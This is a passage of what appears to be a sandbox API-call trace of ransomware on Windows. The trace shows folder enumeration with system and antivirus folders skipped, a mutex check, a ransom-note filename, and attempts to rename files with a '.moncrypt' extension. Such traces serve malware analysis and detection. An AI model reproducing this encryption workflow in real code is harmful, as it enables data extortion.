lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@삌R企@\x18?T\x18\x8f")) returned 0xffffffff [0058.056] GetLastError () returned 0x2 [0058.056] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.056] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0058.056] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뱔R企@\x18?T\x18\x97")) returned 0xffffffff [0058.057] GetLastError () returned 0x2 [0058.057] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.057] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0058.058] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.058] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.058] GlobalUnlock (hMem=0x44000c) returned 0 [0058.058] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.058] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.058] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.058] GlobalUnlock (hMem=0x44000c) returned 0 [0058.058] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.058] GlobalUnlock (hMem=0x440004) returned 0 [0058.058] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.058] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.058] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0058.058] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.058] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0058.058] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0058.058] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.058] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.058] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.058] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.058] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0058.058] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.058] GlobalLock (hMem=0x440004) returned 0x550170 [0058.058] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.058] GlobalUnlock (hMem=0x440004) returned 0 [0058.058] GlobalLock (hMem=0x440004) returned 0x550170 [0058.058] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.058] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.059] GlobalUnlock (hMem=0x440004) returned 0 [0058.059] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.059] GlobalUnlock (hMem=0x44000c) returned 0 [0058.059] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.059] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.059] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.059] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.059] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.059] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.059] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.059] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0058.059] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.059] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0058.059] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.059] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0058.059] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.059] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0058.059] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.059] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.059] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\", cchLength=0x38 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\") returned 0x38 [0058.059] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0058.059] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.059] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.059] GlobalUnlock (hMem=0x44000c) returned 0 [0058.060] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.060] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.060] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.060] GlobalUnlock (hMem=0x44000c) returned 0 [0058.060] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.060] GlobalUnlock (hMem=0x440004) returned 0 [0058.060] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.060] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.061] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0058.061] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.061] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.061] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.061] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.061] GlobalUnlock (hMem=0x440004) returned 0 [0058.061] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.061] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.061] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.061] GlobalUnlock (hMem=0x440004) returned 0 [0058.061] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.061] GlobalUnlock (hMem=0x44000c) returned 0 [0058.061] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.061] CharLowerBuffW (in: lpsz="720x480blacksquare.png", cchLength=0x16 | out: lpsz="720x480blacksquare.png") returned 0x16 [0058.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.062] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.062] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Performance\\720x480blacksquare.pngt", lpUsedDefaultChar=0x0) returned 4 [0058.062] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0058.062] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0058.063] CloseHandle (hObject=0x18c) returned 1 [0058.063] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\я")) returned 1 [0058.064] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 0x54e280 [0058.064] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.064] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.064] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.065] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png", dwFileAttributes=0x20) returned 0 [0058.066] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.066] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png.moncrypt")) returned 0 [0058.066] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703015e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703015e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1168, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0058.066] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.066] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.066] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.066] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.066] GlobalUnlock (hMem=0x44000c) returned 0 [0058.066] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.066] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.066] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.067] GlobalUnlock (hMem=0x44000c) returned 0 [0058.067] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.067] GlobalUnlock (hMem=0x440004) returned 0 [0058.067] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.067] CharLowerBuffW (in: lpsz="NextMenuButtonIcon.png", cchLength=0x16 | out: lpsz="nextmenubuttonicon.png") returned 0x16 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, 